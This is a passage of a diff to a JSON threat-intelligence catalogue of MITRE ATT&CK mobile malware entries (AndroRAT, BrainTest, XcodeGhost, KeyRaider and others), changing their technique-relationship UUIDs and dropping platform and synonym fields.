"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37676,7 +37181,7 @@ "type": "uses" }, { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37689,6 +37194,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -37697,7 +37209,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38206,20 +37718,14 @@ "description": "[AndroRAT](https://attack.mitre.org/software/S0292) is malware that allows a third party to control the device and collect information. (Citation: Lookout-EnterpriseApps)", "meta": { "external_id": "S0292", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0292", "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" - ], - "synonyms": [ - "AndroRAT" ] }, "related": [ { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38232,13 +37738,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "80447111-8085-40a4-a052-420926091ac6", "tags": [ @@ -38254,7 +37753,14 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38400,13 +37906,6 @@ ] }, "related": [ - { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6e0545df-8df6-4990-971c-e96c4c60d561", "tags": [ @@ -38422,14 +37921,21 @@ "type": "uses" }, { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38539,6 +38045,13 @@ ] }, "related": [ + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ @@ -38546,6 +38059,13 @@ ], "type": "uses" }, + { + "dest-uuid": "51636761-2e35-44bf-9e56-e337adf97174", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "52eff1c7-dd30-4121-b762-24ae6fa61bbb", "tags": [ @@ -38553,20 +38073,6 @@ ], "type": "uses" }, - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -38575,14 +38081,14 @@ "type": "uses" }, { - "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38601,20 +38107,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "108b2817-bc01-404e-8e1b-8cdeec846326", @@ -38881,6 +38373,13 @@ ] }, "related": [ + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -38889,7 +38388,14 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38923,13 +38429,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -38938,21 +38437,7 @@ "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38973,7 +38458,14 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39146,21 +38638,14 @@ "type": "uses" }, { - "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39173,20 +38658,6 @@ ], "type": "uses" }, - { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ @@ -39194,6 +38665,13 @@ ], "type": "uses" }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -39208,6 +38686,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -39216,14 +38701,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39370,15 +38848,9 @@ "description": "[Judy](https://attack.mitre.org/software/S0325) is auto-clicking adware that was distributed through multiple apps in the Google Play Store. (Citation: CheckPoint-Judy)", "meta": { "external_id": "S0325", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0325", "https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/" - ], - "synonyms": [ - "Judy" ] }, "related": [ @@ -39390,7 +38862,7 @@ "type": "uses" }, { - "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39932,7 +39404,21 @@ }, "related": [ { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39946,14 +39432,7 @@ "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -40571,6 +40050,13 @@ ] }, "related": [ + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -40585,13 +40071,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -40614,14 +40093,14 @@ "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -41108,16 +40587,10 @@ "description": "[BrainTest](https://attack.mitre.org/software/S0293) is a family of Android malware. (Citation: CheckPoint-BrainTest) (Citation: Lookout-BrainTest)", "meta": { "external_id": "S0293", - "mitre_platforms": [ - "Android" - ], "refs": [ "http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/", "https://attack.mitre.org/software/S0293", "https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/" - ], - "synonyms": [ - "BrainTest" ] }, "related": [ @@ -41128,6 +40601,13 @@ ], "type": "uses" }, + { + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -41136,14 +40616,7 @@ "type": "uses" }, { - "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -41372,6 +40845,13 @@ ] }, "related": [ + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -41387,14 +40867,14 @@ "type": "uses" }, { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -41413,13 +40893,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "35aae10a-97c5-471a-9c67-02c231a7a31a", @@ -41656,20 +41129,6 @@ ] }, "related": [ - { - "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -41678,7 +41137,14 @@ "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -41692,7 +41158,21 @@ "type": "uses" }, { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -41704,20 +41184,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "f082fc59-0317-49cf-971f-a1b6296ebb52", @@ -42646,6 +42112,13 @@ ] }, "related": [ + { + "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -42654,7 +42127,21 @@ "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42668,21 +42155,7 @@ "type": "uses" }, { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42696,14 +42169,7 @@ "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -42745,7 +42211,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -43541,15 +43007,9 @@ "description": "[ShiftyBug](https://attack.mitre.org/software/S0294) is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group. (Citation: Lookout-Adware)", "meta": { "external_id": "S0294", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0294", "https://blog.lookout.com/blog/2015/11/04/trojanized-adware/" - ], - "synonyms": [ - "ShiftyBug" ] }, "related": [ @@ -43568,7 +43028,7 @@ "type": "uses" }, { - "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -45166,15 +44626,9 @@ "description": "[OldBoot](https://attack.mitre.org/software/S0285) is an Android malware family. (Citation: HackerNews-OldBoot)", "meta": { "external_id": "S0285", - "mitre_platforms": [ - "Android" - ], "refs": [ "http://thehackernews.com/2014/01/first-widely-distributed-android.html", "https://attack.mitre.org/software/S0285" - ], - "synonyms": [ - "OldBoot" ] }, "related": [ @@ -45407,14 +44861,14 @@ "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "dest-uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -45435,7 +44889,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -45558,6 +45012,13 @@ ] }, "related": [ + { + "dest-uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -45600,13 +45061,6 @@ ], "type": "uses" }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -45615,14 +45069,14 @@ "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -45657,14 +45111,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -46743,27 +46190,21 @@ "description": "OBAD is an Android malware family. (Citation: TrendMicro-Obad)", "meta": { "external_id": "S0286", - "mitre_platforms": [ - "Android" - ], "refs": [ "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/", "https://attack.mitre.org/software/S0286" - ], - "synonyms": [ - "OBAD" ] }, "related": [ { - "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -47536,38 +46977,18 @@ "description": "[ZergHelper](https://attack.mitre.org/software/S0287) is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks. (Citation: Xiao-ZergHelper)", "meta": { "external_id": "S0287", - "mitre_platforms": [ - "iOS" - ], "refs": [ "http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/", "https://attack.mitre.org/software/S0287" - ], - "synonyms": [ - "ZergHelper" ] }, "related": [ - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "3c3b55a6-c3e9-4043-8aae-283fe96220c0", @@ -47647,28 +47068,22 @@ "description": "[XcodeGhost](https://attack.mitre.org/software/S0297) is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users. (Citation: PaloAlto-XcodeGhost1) (Citation: PaloAlto-XcodeGhost)", "meta": { "external_id": "S0297", - "mitre_platforms": [ - "iOS" - ], "refs": [ "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/", "http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/", "https://attack.mitre.org/software/S0297" - ], - "synonyms": [ - "XcodeGhost" ] }, "related": [ { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -47814,27 +47229,14 @@ "description": "[KeyRaider](https://attack.mitre.org/software/S0288) is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality. (Citation: Xiao-KeyRaider)", "meta": { "external_id": "S0288", - "mitre_platforms": [ - "iOS" - ], "refs": [ "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/", "https://attack.mitre.org/software/S0288" - ], - "synonyms": [ - "KeyRaider" ] }, "related": [ { - "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -47855,15 +47257,9 @@ "description": "[NotCompatible](https://attack.mitre.org/software/S0299) is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time. (Citation: Lookout-NotCompatible)", "meta": { "external_id": "S0299", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0299", "https://blog.lookout.com/blog/2014/11/19/notcompatible/" - ], - "synonyms": [ - "NotCompatible" ] }, "related": [ @@ -50591,13 +49987,6 @@ ] }, "related": [ - { - "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -50606,7 +49995,21 @@ "type": "uses" }, { - "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -50620,21 +50023,7 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -50654,6 +50043,13 @@ ], "type": "uses" }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -50668,6 +50064,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -50682,13 +50085,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - 